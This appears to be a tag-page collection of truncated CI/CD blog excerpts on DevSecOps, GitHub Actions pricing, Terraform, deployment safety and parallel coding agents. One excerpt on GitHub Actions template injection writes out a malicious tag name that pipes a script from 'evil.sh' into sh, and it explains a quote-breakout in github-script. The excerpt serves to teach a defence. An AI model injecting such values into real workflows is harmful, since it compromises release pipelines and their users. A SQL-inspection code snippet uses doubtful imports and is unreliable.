标签：#cicd

Security Bolted on at the End Is Not DevSecOps The most common failure pattern in teams that claim to "do DevSecOps" looks like this: build the pipeline, ship the feature, and run a security scan right before release — treating security as a checkbox at the end of the process instead of something built into every stage of it. That's not DevSecOps. That's a security review with extra steps. Real DevSecOps means security is woven into the pipeline itself — scanning dependencies on every commit, catching misconfigurations before they're deployed, and treating a vulnerability the same way you'd treat a failing test: something that blocks the pipeline, not something reviewed manually after the fact. This guide is for people who already have some DevOps or backend foundation and want to understand what it actually takes to move into a DevSecOps-focused role — not just "add security" to an existing skillset, but understand the mindset shift that makes the discipline distinct. This post originally appeared on the Ciphemic Academia blog . What "DevSecOps" Actually Requires DevSecOps sits at the intersection of three skill areas, and a real role expects working competence across all three, not deep expertise in just one: DevOps fundamentals — CI/CD pipelines, infrastructure-as-code, containers, the same core skills a cloud/DevOps engineer needs Application security — understanding common vulnerability classes, how to find them, and how to actually fix them, not just recognize their names Security automation — the specific skill of embedding security checks into a pipeline so they run automatically, consistently, on every change That third point is what actually distinguishes DevSecOps from "a DevOps engineer who also cares about security." It's specifically about automation and process — making secure practices the default path, not an extra manual step someone has to remember to do. Step 1: Confirm Your DevOps Foundation Is Solid DevSecOps is not an entry point into DevOps —

A six-week journey through source builds, CI pipelines, and one package pacman never mentioned. TL;DR: pacman -S whisper-cpp ggml-vulkan . That's it. That's the whole answer. Here's why it took me several weeks to find it. The setup I use whisper.cpp for local speech-to-text and as a part of my projects. I have a GPU utilization monitor permanently visible in my GNOME panel via the Vitals extension — so when whisper.cpp started detecting my GPU but running everything on CPU anyway, I noticed immediately. Went to fix it. What followed was several weeks of googling, building from source, writing a custom PKGBUILD, setting up CI, publishing an AUR-style repo — and eventually discovering that the actual fix is a single extra package that pacman never once mentioned to me. The investigation First thing I checked: is the official extra/whisper-cpp package compiled with Vulkan support? All search results said no — -DGGML_VULKAN is explicitly OFF, GPU code is absent from the binary. The app sees your GPU through vulkan-icd-loader but has no code to actually use it. That matched exactly what I was seeing. So the binary itself was the problem. At the time, a separate whisper-cpp-vulkan package had existed in the repos but kept appearing and disappearing — and right then it was gone from both extra and AUR. AUR pushes were also temporarily restricted due to a supply-chain incident. So the "just install the vulkan variant" path was closed, though it used to be available sometime. The obvious move: build from source with -DGGML_VULKAN=ON , package it up, done. I published whisper-cpp-vulkan-arch with a PKGBUILD and prebuilt binaries, wired up CI to track upstream releases automatically and rebuild correspondingly, and wrote a Reddit post explaining the situation. The post was dated August 13, 2026. The twist A few weeks later, someone commented on the post. They suggested installing ggml and vulkan-icd-loader . I started writing a detailed reply explaining why this was wrong: gg

Most "best CI/CD tools" lists are twenty logos in a table, ranked by nothing in particular, with the author's product at the top. This is not that. It is a map of the categories, what each one exists to solve, and how to tell whether you need it yet. I work at Latchkey, so I will say plainly where we sit: we are one option inside one of the six categories below, and I will tell you when we are the wrong answer. Read the rest as a map, not a pitch. A note on what is missing here: I have not invented benchmark numbers or quoted prices for tools I do not operate. Vendor pricing changes often enough that any figure I write today is wrong by the time you read it. Where a number matters, go to the vendor's own pricing page. The mistake most teams make Teams usually shop for CI/CD tools by asking "which one is best." That question has no answer, because the tools are not competing with each other. They are stacked on top of each other. A team that adopts a build accelerator to fix a slow pipeline, when the actual problem is that half their failures are flaky, has bought a faster way to fail. A team that adds pipeline observability before they have enough pipeline to observe has bought a dashboard nobody opens. The useful question is narrower: which layer is currently your constraint? Answer that, and the tool choice inside the layer is usually obvious. Here is the whole landscape in one view. Layer What it solves When it becomes your bottleneck CI platform Running the pipeline at all Never; this is where everyone starts Runners and compute Where jobs run, and how fast they start Queue time or runner cost is visible Build acceleration Doing less work per run Full rebuilds dominate your wall clock Supply chain security What the pipeline is allowed to reach You ship to production or touch customer data Observability and cost Where time and money actually go You cannot answer why last week was slow Artifacts and registries Storing what the pipeline produces You publish images

Two things are true about software delivery in 2026, and they are pulling in opposite directions. The first: AI is now writing a large share of the code that reaches your pipeline. CloudBees' 2026 State of Code Abundance Report found that AI generates or assists in writing 61% of the average enterprise codebase, and that 81% of enterprise leaders report an increase in production issues tied to AI-generated code. The same report names a confidence gap worth sitting with: 92% of leaders say they are confident in the production readiness of that code, even as the failures climb ( CloudBees, 2026 ). The second: the place best positioned to catch those failures, the CI/CD pipeline, is where teams trust AI the least. JetBrains' TeamCity team reported that 73% of organizations do not use AI in their CI/CD pipelines at all, and 78.2% do not delegate tasks to AI in CI/CD workflows, even though general AI usage in development work exceeds 90%. When asked why, 60% cited unclear use cases or value, 36% cited a lack of trust in AI-generated results, and 33% cited data privacy concerns ( JetBrains TeamCity, 2026 ). That is the trust gap. More machine-written code is arriving, more of it is breaking in production, and the pipeline that should be the safety net is the one room teams will not let automation into. This piece is about why that hesitation is rational, and what automation has to look like to deserve a different answer. Why the pipeline is different The JetBrains analysis put its finger on the reason cleanly: development workflows tolerate experimentation because feedback is immediate and cheap. CI/CD is the opposite. It demands consistent, reproducible signals, and the cost of an error is high. A coding assistant that guesses wrong wastes a few seconds of your time. A pipeline that guesses wrong can hide a real defect, ship it, or erode the one thing a pipeline exists to provide: a trustworthy answer to the question "is this build good?" So the bar for automation in CI/

The first half of 2026 reset two things at once for engineering teams: what continuous integration costs, and what it takes to keep delivery stable while AI pushes more change through your pipelines than ever. Those two stories are connected, and the connection is the part worth your time. The pricing reset On January 1, 2026, GitHub reduced prices for GitHub-hosted runners by up to 39%, with the size of the cut depending on the machine type ( GitHub Changelog ). Standard hosted-runner usage on public repositories stays free, as it was before. The DevOps publication SamExpert documented the specific per-minute moves. A Linux 2-core runner dropped about 25% (from $0.008 to $0.006 per minute). A Windows 2-core runner dropped about 38% (from $0.016 to $0.010). A Linux 64-core arm64 runner dropped about 39% (from $0.160 to $0.098) ( SamExpert ). If your CI runs mostly on hosted runners, that is real money back, and it is worth recalculating your monthly estimate against the new rates rather than assuming last year's numbers still hold. The same December 2025 announcement carried a more controversial proposal: a $0.002 per-minute charge for self-hosted runner usage in private repositories, scheduled to start March 1, 2026 ( DevClass ). GitHub framed it as ending a cross-subsidy, where revenue from hosted runners was effectively underwriting the cost of operating Actions for everyone, and said the large majority of customers would see no change to their bill. The reaction from developers who run CI on their own hardware was sharp, with some publishing the monthly figures they expected to owe for compute they already pay to operate themselves. Within about a week, GitHub posted that it was postponing the self-hosted billing change to re-evaluate its approach ( SamExpert ). Postponed, it is worth being precise here, is not the same as withdrawn. There is no new date and no guarantee the charge returns in its original form, but there is also no statement that it is gone for

The first half of 2026 rearranged three things at once for teams that live in GitHub Actions: what CI costs, how it is secured, and how much of it a machine can now do on its own. None of these landed cleanly. Prices went down for most people while a new platform charge quietly went up. A self-hosted runner fee was announced, met a wall of objections, and was pulled back within a week. And a security roadmap arrived that will change how workflows pin dependencies and scope secrets over the next two to three quarters. Here is a grounded read of what happened, with sources, and an honest account of where Latchkey fits. Hosted runners got cheaper, and a new platform charge arrived On January 1, 2026, GitHub reduced GitHub-hosted runner prices by up to 39%, with the size of the cut depending on the machine type (larger runners saw the larger relative reductions), per GitHub's own changelog ( github.blog ). In concrete terms, community reporting put the Linux 2-core rate moving from $0.008 to $0.006 per minute and the Windows 2-core rate from $0.016 to $0.010 per minute ( samexpert.com ). Alongside the cuts, GitHub introduced a $0.002 per-minute Actions cloud platform charge that applies to all Actions workflows. For GitHub-hosted runners, that charge is already bundled into the reduced meter price, so it is not a separate line item there ( github.com ). Two things stayed the same and are worth repeating, because they get lost in the noise: standard runner usage on public repositories remains free, and GitHub Enterprise Server pricing is unaffected ( github.com ). GitHub framed the net effect as small for most accounts: it stated that 96% of customers would see no change to their bill, and that of the 4% affected, 85% would see costs decrease while the remaining 15% faced a median increase of roughly $13 ( github.com ). That is a reassuring headline. It is also a reminder that the bill depends entirely on your own mix of runner sizes and minutes, which is exactly the thi

Two forces are pulling on delivery pipelines this year. Code is arriving faster than ever, and the cost of running the pipelines that ship it has been unusually unsettled. Let us look at both, honestly, and then talk about where reliability work fits. Pricing was a moving target, and it still is On December 16, 2025, GitHub announced a simpler Actions pricing model that included a new $0.002 per minute "cloud platform charge." The plan was for that charge to reach self-hosted runner usage in private repositories on March 1, 2026 ( GitHub Changelog ). The reaction was strong enough that GitHub reversed the self-hosted portion within days. As GitHub put it, they "missed the mark with this change by not including more of you in our planning," and postponed the self-hosted charge to re-evaluate the approach ( GitHub Changelog ). Postponed is not cancelled, so if you run self-hosted runners in private repos, this is worth watching rather than filing away. GitHub's own framing was that the change would touch a small slice of accounts: it reported that 96% of customers would see no change to their bill, and that of the 4% affected, most would actually see their Actions bill decrease ( GitHub Changelog ). Even so, the principle of paying a per-minute fee for software running on hardware you already own was the sticking point for many teams, and the reversal followed quickly. The other half of the announcement did take effect. On January 1, 2026, GitHub reduced the price of GitHub-hosted runners by up to 39%, depending on the machine type, while leaving free minute quotas unchanged ( GitHub Changelog ). GitHub pointed teams to its runner pricing docs and calculator for the exact per-machine rates rather than publishing a single headline number ( GitHub Changelog ). That "up to" is doing real work in the sentence: the reduction depends on which machines you actually use, so the only way to know your number is to look at your own usage mix. The practical takeaway: the ground u

A green required check is not a merge decision. It is a signal that one job graph finished without a red X. If a pre-push hook was skipped, or a snapshot fixture was regenerated without a reason, you can still ship a lie. This article walks through a merge packet: a small JSON artifact your CI publishes next to the check. The packet records hook results, fixture drift, and required-job status. A model may write the eight-line brief. It does not get a vote. Why green still lies CI dashboards collapse many facts into one glyph. You see green. You click merge. You miss three common failures. First, someone pushed with --no-verify and skipped the hook that keeps fixture hashes honest. Second, a test helper rewrote golden files because a serializer added a field. Third, a retry job went green on the second attempt and nobody recorded that the first attempt failed. You do not need a platform rewrite to catch this. You need a contract the merge button cannot ignore. Cheap code generation makes the second failure more common. When it is easy to regenerate tests, it is easy to regenerate the fixtures those tests pin. The pin becomes a moving target. Treat unexplained fixture diffs as merge blockers, the same way you treat a failed unit job. What the merge packet contains Keep the packet boring. One file. One schema. Commit it as a CI artifact, not as a comment that can be edited after the fact. { "commit" : "REPLACE_WITH_SHA" , "generated_at" : "2026-09-03T00:00:00Z" , "hooks" : { "pre_push_fixture_guard" : "passed" }, "fixtures" : { "manifest_path" : "tests/fixtures.sha256" , "changed_paths" : [], "unexplained_paths" : [] }, "required_jobs" : [ { "name" : "unit" , "conclusion" : "success" }, { "name" : "contract" , "conclusion" : "success" } ], "merge_ready" : false , "brief" : null } merge_ready is computed by a script you own. Not by a prompt. The brief is optional prose for humans who will not open the JSON. Step 1: Pin fixtures with a manifest Pick a directory you alrea

Originally published on indiecore.net . I moved this site off a hosted blogging platform onto Cloudflare, with GitHub Actions doing the building and Cloudflare doing the serving. It costs nothing, deploys in about two and a half minutes, and refuses to publish anything that fails its checks. Getting there took longer than it should have. Here is the setup, and the five things that tripped me up — none of which are obvious from the documentation. The shape of it git push └─ GitHub Actions ├─ build generate the site ├─ verify dead links, missing images, bad metadata, broken redirects ├─ Lighthouse fail if performance/accessibility/SEO drop below budget └─ deploy upload to Cloudflare The important part is that deploy depends on the checks . A broken build never reaches the internet. Pull requests get a preview URL; merges to main go live. The triggers and permissions that make that safe: ci-cd.yml — triggers and permissions name : CI/CD # Build and verify every change; deploy previews for PRs and production from main. # Deploy jobs depend on the quality gates, so nothing ships unverified. on : push : branches : [ main ] # The SEO watch ledger is machine-written, is never part of dist/, and is # committed daily. Deploying the site again for it would be pure noise — and # would re-trigger the SEO ping through workflow_run every single day. paths-ignore : - ' _source/seo-watch.json' pull_request : branches : [ main ] workflow_dispatch : # Least privilege by default; individual jobs elevate only what they need. permissions : contents : read # Supersede in-flight runs for a branch, but never interrupt a production deploy. concurrency : group : ci-cd-${{ github.ref }} cancel-in-progress : ${{ github.ref != 'refs/heads/main' }} env : # wrangler ships as a pinned devDependency; never phone home from CI WRANGLER_SEND_METRICS : " false" permissions: contents: read at the top means every job starts with the minimum, and only the one that comments on pull requests gets more. The c

Most teams don't notice their CI/CD pipeline is broken — they just notice that deploys "feel slow" and shrug it off as normal. It isn't. A pipeline that takes 25 minutes to ship a one-line copy change isn't a fact of life, it's a symptom. Here are the mistakes we see most often when reviewing pipelines — roughly in order of how much time they silently burn. 1. Running the full test suite on every single change If a developer fixes a typo in a README and the pipeline still runs the entire integration suite, database migrations, and end-to-end tests, you're paying full price for a change that touched nothing critical. Fix: split your pipeline into stages based on what actually changed. Path-based triggers (only run frontend tests if frontend files changed) and a fast "smoke test" tier before the full suite can cut average pipeline time dramatically without sacrificing safety. 2. No caching between builds Reinstalling every dependency from scratch on every run is one of the most common — and most fixable — sources of wasted time. Package managers, build artifacts, and Docker layers are all cacheable, and most CI platforms support this natively. Fix: cache dependency directories keyed by lockfile hash, and structure Dockerfiles so rarely-changing layers (base image, dependencies) come before frequently-changing ones (application code). 3. Sequential steps that don't need to be sequential Linting, unit tests, and security scans are often run one after another when they have no dependency on each other. That's pure wasted wall-clock time. Fix: parallelize independent jobs. Most CI systems support fan-out/fan-in patterns — run lint, test, and scan simultaneously, then gate the deploy on all three passing. 4. Environments that drift from production A pipeline that passes in staging and fails in production usually means the environments aren't actually equivalent — different env vars, different resource limits, different service versions. Teams respond by adding more manual

Line 267 of a 427-line Terraform plan: # aws_rds_cluster.reporting must be replaced - /+ resource "aws_rds_cluster" "reporting" { ~ arn = "arn:aws:rds:us-east-1:842910557412:cluster:reporting" - > ( known after apply ) ~ cluster_resource_id = "cluster-D85642F9611A" - > ( known after apply ) ~ engine_version = "14.9" - > "15.4" ~ id = "reporting" - > ( known after apply ) ~ storage_encrypted = false - > true # forces replacement # (29 unchanged attributes hidden) } The merge request says "bump reporting Postgres to 15.4." The plan does exactly that. It also destroys the reporting database and creates an empty one in its place. Underneath the known-after-apply churn, two attributes are changing. One is the version bump, the thing your MR is about. The other is storage_encrypted flipping from false to true , and it isn't yours. Someone on another team that shares this repo merged it earlier in the week. You're just the one deploying. You review other people's Terraform MRs and have a feel for what each stack normally does; most weeks someone else shepherds the deploy. Today it's you. Your change goes out next, so you're carrying everything merged since the last deploy, including work you never reviewed and had no reason to know about. Nobody was negligent. The queue simply had someone else's change in it. It's a good change, by the way. You want encrypted storage. But there's no in-place path from unencrypted to encrypted on an RDS cluster. Terraform's only move is destroy and create. That's what -/+ means, and the comment at the end of the line says it in plain English: forces replacement . And the version bump alone would have failed. Going from 14 to 15 is a major version upgrade, and Aurora refuses those unless the config sets allow_major_version_upgrade = true . This one doesn't. That MR by itself would have died at apply, loudly, with an error naming the exact problem. A replacement doesn't upgrade anything. It creates a new cluster at 15.4 from scratch, so the f

Cisco ACE ilə işləyən administratorun qarşısında qəribə vəziyyət dayanır: cihaz zəngin funksiyalara malikdir, trafik yolunun tam ortasındadır, amma özü artıq keçmiş nəsil platformadır. Buna görə konfiqurasiyaya yalnız “request hansı serverə getsin?” sualı ilə baxmaq kifayət etmir. Tətbiqin sağlamlığı, session davranışı, SSL sərhədi və cihaz sıradan çıxanda baş verəcək hadisələr eyni xəritədə görünməlidir. Problem də budur. ACE 4710 ayrıca appliance kimi, ACE modulları isə şəbəkə avadanlığının daxilində application delivery funksiyası verirdi. Cisco bu iki məhsulu data center üçün load balancing və application delivery həlli kimi təsvir edir. Bu sinif cihaz client ilə backend arasında reverse proxy və ya Layer 4 load balancer rolunda dayanır; client virtual IP-yə qoşulur, ACE uyğun server farm-ı tapır, işlək real server seçir və bağlantını ora ötürür. Kağız üzərində sadədir. Production-da isə hər oxun öz state-i və nasazlıq ssenarisi var. Trafik ACE-dən necə keçir? Konfiqurasiyanı oxumağın rahat yolu ayrı-ayrı komandaları əzbərləmək deyil, obyektlər arasındakı yolu izləməkdir. Virtual IP xidmətin xarici ünvanıdır. Class map trafiki tanıyır, policy map həmin trafikə load balancing davranışı bağlayır, server farm backend hovuzunu saxlayır, real server isə konkret tətbiq instansiyasıdır. Health probe real serverin rotasiyada qalıb-qalmayacağına qərar verir. Diaqram — orijinal məqalədə Bu axında class map və policy map giriş trafikinin hansı xidmətə aid olduğunu müəyyən edir. Server farm seçildikdən sonra predictor işlək real serverlər arasından birini seçir. Cavab client-ə ACE üzərindən qayıdırsa, cihaz connection state-i saxlayır; asimmetrik routing yaranarsa paketlərin bir hissəsi bu state-dən yan keçə və bağlantı qırıla bilər. Deməli, routing dizaynı load balancer konfiqurasiyasından ayrı məsələ deyil. Predictor serverin həqiqi yükünü həmişə bilmir ACE-də round-robin və least connections davranışları fərqli məqsədlərə xidmət edir. Weighted round-robin standart predic

Un déploiement devrait être la chose la plus ennuyeuse de ta semaine. S'il est excitant, c'est mauvais signe. Au début de ma carrière, les mises en production étaient des événements. On retenait son souffle, on croisait les doigts, quelqu'un exécutait de mémoire une séquence d'étapes manuelles, et on regardait les journaux avec une boule au ventre. C'était palpitant. C'était aussi terrifiant, et le côté palpitant était précisément le problème : chaque déploiement était un pari, parce que chaque déploiement était un peu différent du précédent. Un bon déploiement est répétable. La même chose, de la même façon, à chaque fois — automatisée, pas récitée par un humain fatigué à la fin d'une longue journée. Quand le processus est un script plutôt qu'une cérémonie, l'ennui remplace l'angoisse. Tu ne pries plus. Tu appuies sur un bouton, et le résultat est prévisible parce qu'il a déjà été prévisible cent fois. L'automatisation fait ici plus que gagner du temps. Elle supprime toute une catégorie d'erreurs : l'étape oubliée, le mauvais paramètre, le « je croyais que tu l'avais fait ». La machine ne se fatigue pas, ne saute pas de ligne, ne se laisse pas distraire à mi-chemin. Elle rend le déploiement fiable au point d'en être ennuyeux — et l'ennui, en production, est un luxe. Alors, si tes mises en production font encore monter le rythme cardiaque, ce n'est pas de la prudence. C'est un signal. Rends-les répétables, rends-les automatiques, rends-les ennuyeuses. Garde le frisson pour ta vie ; ton système de production, lui, mérite l'ennui. – Serguey Shinder

📝 Originally published (in Japanese) at forge.workstyle.tech . In a previous article , we introduced an environment for parallel execution of coding agents using Git worktrees. This article is a follow-up. As we progressed with parallelization, we ended up with 3-5 Claude Code sessions simultaneously developing the same microservices . What happened was no longer just "parallel execution of tools" but actual "team development" . All the issues that arise in human teams—miscommunication, deployment conflicts, and territorial overlaps—occur here as well. And the practices that work for human teams work almost identically here. We’ll share seven recipes that emerged from actual operations, along with real-life close calls. Real-Life Story: Averting a Deployment Rollback Disaster at the Last Minute One day, while Session A (responsible for voice functionality) was in the middle of a major refactor, Session B (responsible for streaming functionality) sent this message: "We’re about to build the frontend as version 1.0.399 (based on main)." At first glance, this seemed fine. However, in this repository, the authoritative branch for the production environment was not main but a dedicated deployment branch . The latest features from the past few dozen versions were only in the deployment branch, while main was outdated. If Session B had deployed an image based on main, weeks’ worth of features would have been rolled back in production . Session A immediately sent a warning, and Session B halted the build before pushing. Session B then cherry-picked their changes into the deployment branch and rebuilt the image, avoiding the disaster entirely. All this communication was handled autonomously between the agents via session-to-session messages . I (the human) only learned about it later from the logs. This incident highlights two things: parallel agents can cause the same accidents as human teams , and with proper communication channels and rules, they can prevent accidents jus

There is one line of YAML I have been chasing across open source for months: run : | TAG="${{ github.event.release.tag_name }}" It looks like reading a variable. It is not. ${{ ... }} is a template expression . GitHub substitutes it as raw text into the script before bash ever parses the line. By the time the shell runs, there is no variable — there is whatever the tag name happened to be, pasted directly into your program. So a tag named: v1.0 "; curl evil.sh | sh; echo " is not compared. It runs. Why it is always the release workflow You could write this bug anywhere. In practice it clusters in exactly one place: the workflow that publishes. That is not a coincidence. Release workflows are where you handle version strings, tag names, and workflow_dispatch inputs — the values that feel like configuration rather than user input. And release workflows are also where the interesting credentials live: permissions : id-token : write # Trusted Publishing to PyPI The two facts meet. The job most likely to contain the bug is the job holding the token that publishes to every one of your users. The JavaScript variant is worse actions/github-script has the same flaw, but people miss it because the block looks like a script file: - uses : actions/github-script@v7 with : script : | const tag = '${{ env.RELEASE_TAG }}'; That script: body is JavaScript source . The expansion happens before it is parsed, so a single quote in the value closes the string literal and the rest is evaluated as code. And a tag name absolutely can contain a single quote. git check-ref-format rejects spaces, ~ , ^ , : , ? , * , [ and backslash. It does not reject ' . The fix is three lines Pass the value through env . An environment variable is only ever data — it is never re-parsed as source text. # Before run : | TAG="${{ github.event.release.tag_name }}" # After env : RELEASE_TAG : ${{ github.event.release.tag_name }} run : | TAG="$RELEASE_TAG" Same for the JavaScript case — process.env.RELEASE_TAG ins

Part 1 covered the mechanism: a fingerprint gate decides whether a change ships in minutes over-the-air or needs a full store release. But a gate that only checks "is this native-safe" says nothing about whether the change is good . If every merge to main can reach production within minutes, your safety net can't be a release train that gives everyone time to notice a problem before it ships — it has to be built into the pipeline itself, because there's no train to catch it on the way out. The PR gate Every pull request into main runs through the same automated gate before it's mergeable: a type check, a lint pass, an automated test suite, and end-to-end checks against a real device build. None of that is negotiable — it's the floor, not a nice-to-have. E2E is a big enough topic on its own — closing the loop between what a unit test can see and what actually happens on a phone in someone's hand — that it deserves its own dedicated post rather than a paragraph here. jobs : typecheck : run : npm run typecheck lint : run : npm run lint test : run : npm test e2e : run : npm run e2e Nothing exotic under the hood — ESLint for the lint pass, Husky for local pre-commit/pre-push hooks so the same checks catch you before CI even runs, Jest as the test runner, and React Native Testing Library for component-level tests. Popular, boring, well-documented tooling on purpose — the pipeline's value is in how these are wired together and gated, not in any one tool being clever. Feature flags are the real safety valve Here's the entry condition that makes OTA-from- main safe at all: shipping code and releasing a feature are two different actions. A merge can put new code on every user's device within minutes — that's deploy. Whether that code actually does anything visible is a separate switch, controlled by a remote feature flag, not by whether the code merged. That decoupling is what makes trunk-based development survivable. Nobody has to get the timing of a merge exactly right, bec

Clear the Lineup Submission The Bug AI applications can fail silently — producing wrong outputs, degraded performance, or unexpected behaviors without explicit errors. In my case, the issue was SQL drift: queries executed successfully but returned incomplete or unstable results due to unsafe wildcard usage (SELECT *). This silent failure propagated downstream, degrading model accuracy without obvious alerts. The Fix I introduced an agentic validation and inspection layer into the pipeline using LangGraph, StatesGraph, MCP, and A2A. Inspection Layer: Deterministic checks (SQL linters, schema validators). Validation Layer: Agentic reasoning about query safety. MCP Integration: Standardized access to profilers and monitoring APIs. A2A Collaboration: Agents exchanged context to enforce compliance. This combination allowed the system to detect unsafe queries and route them for human review before deployment. PR Link Here’s the merged PR where the fix was implemented: Continental-Thaligai Repository – Merged PRs https://github.com/NikhilRaman12/Continental-Thaligai/pulse#opened-pull-requests Code Snippet python from langgraph import Graph from statesgraph import State from mcp import MCPClient class SQLInspection(State): def run(self, query): if "SELECT" in query and "*" in query: return {"risk": 0.7, "message": "Wildcard SELECT may cause drift"} return {"risk": 0.1, "message": "Query safe"} graph = Graph() graph.add_state("sql_inspection", SQLInspection()) graph.connect("sql_inspection", "human_review", condition=lambda r: r["risk"] > 0.5) result = graph.run("SELECT * FROM transactions") print(result) Diff Example: diff SELECT * FROM transactions SELECT transaction_id, amount, date FROM transactions This change eliminated silent drift in query results and improved reliability in downstream AI pipelines. Outcome Silent SQL drift eliminated. Improved accuracy in downstream AI models. Added regression tests to prevent recurrence. Strengthened CI/CD pipeline with agentic saf

title: Why I left Warehouse out of our Fabric deployment scope published: true tags: microsoftfabric, datawarehouse, cicd, devops Our Fabric deployment pipeline handles sixteen item types. Warehouse is not one of them, and that was deliberate. DEFAULT_ITEM_TYPES = [ " DataPipeline " , " Lakehouse " , " Notebook " , " SemanticModel " , # "Warehouse" is intentionally excluded. Warehouse schema deployment must # be handled separately to avoid schema reset risk during publish. " Environment " , " Eventhouse " , ... ] The reason Publishing a warehouse through this path can reset its schema. Not "might behave unexpectedly". The failure mode is that a deployment intended to be additive removes structure, and the thing that removes it is the same routine that successfully deploys the other sixteen types. The choice that follows Two options once you know that. Include it and hope nobody deploys a warehouse without reading the docs. The pipeline supports everything, and one day someone promotes a change on a Friday and finds out. Or exclude it, document why, and handle warehouse deployment as its own problem with its own tooling. I took the second. An automation that covers most cases and silently corrupts the rest is worse than one that covers most cases and refuses the rest. The refusal is visible. The corruption is not. Making the exclusion loud An exclusion is only useful if someone notices it. Three things help: The comment sits inside the list , not in a doc nobody opens. Anyone reading the item types sees the gap and the reason in the same glance. It is in the README under known limitations, next to the other things the framework does not do. There is a test. It asserts Warehouse is absent from the default scope: def test_warehouse_stays_excluded ( self ): """ Warehouse publish can reset schema, so it is handled separately. """ self . assertNotIn ( " Warehouse " , deploy . DEFAULT_ITEM_TYPES ) That test looks silly. It is asserting that a string is missing from a list.

The Problem In one of our Azure DevOps pipelines, nuget restore suddenly started failing with an error stating, in essence, that the requested package could not be found in the referenced version. The task referencing the package hadn't changed — yet the restore stage kept failing. At first glance, this looks like an issue with the package source, some caching effect, or a broken .nuspec/lockfile. It wasn't. The Root Cause The actual culprit was the version of the NuGetToolInstaller@1 task itself. The pipeline had NuGet pinned to version 6.12.2. The Fix Bump the versionSpec in the NuGetToolInstaller@1 task from 6.12.2 to 7.9.0: - task : NuGetToolInstaller@1 displayName : ' Use NuGet 7.9.0' inputs : versionSpec : 7.9.0 checkLatest : false That's it. After the update, nuget restore ran through cleanly again.

The Quest Begins (The “Why”) Honestly, I used to stare at my CI/CD yaml files like they were ancient runes. Every push felt like a gamble: “Will the build pass this time?” I’d spend Friday nights hunting down a missing node_modules cache in Jenkins, only to realize the agent had run out of disk space because I’d forgotten to add a cleanup step. The pain was real, and the feedback loop was slower than a dial‑up modem. I kept asking myself: Why does this feel like wrestling a dragon every time I want to ship a feature? The answer was simple—I hadn’t yet found a pipeline that just worked out of the box. I wanted something that gave me confidence, not anxiety. So I embarked on a quest to compare the three big contenders: GitHub Actions, GitLab CI, and good ol’ Jenkins. Spoiler: the treasure wasn’t in the tool itself, but in how you shape the pipeline around your team’s flow. The Revelation (The Insight) The big “aha!” moment came when I stopped treating CI/CD as a one‑size‑fits‑all script and started seeing it as a contract between my code and my environment. The contract says: Every commit gets a clean slate. Dependencies are restored, not guessed. Tests run in parallel, not sequentially. Artifacts are published only if the gate passes. When I wrote that contract down, the yaml stopped looking like magic incantations and started looking like a checklist. The tools differ in syntax, but the underlying principles are the same. Here’s the secret: cache wisely, fail fast, and keep the pipeline short enough to give you feedback before you’ve even finished your coffee. Wielding the Power (Code & Examples) Below are three pipelines—one for each platform—that embody the contract above. I’ll first show a “struggle” version (the common pitfalls) and then the victorious version. 1. GitHub Actions – The Struggle name : CI on : [ push , pull_request ] jobs : build : runs-on : ubuntu-latest steps : - uses : actions/checkout@v3 - name : Install deps run : npm install # <-- no cache,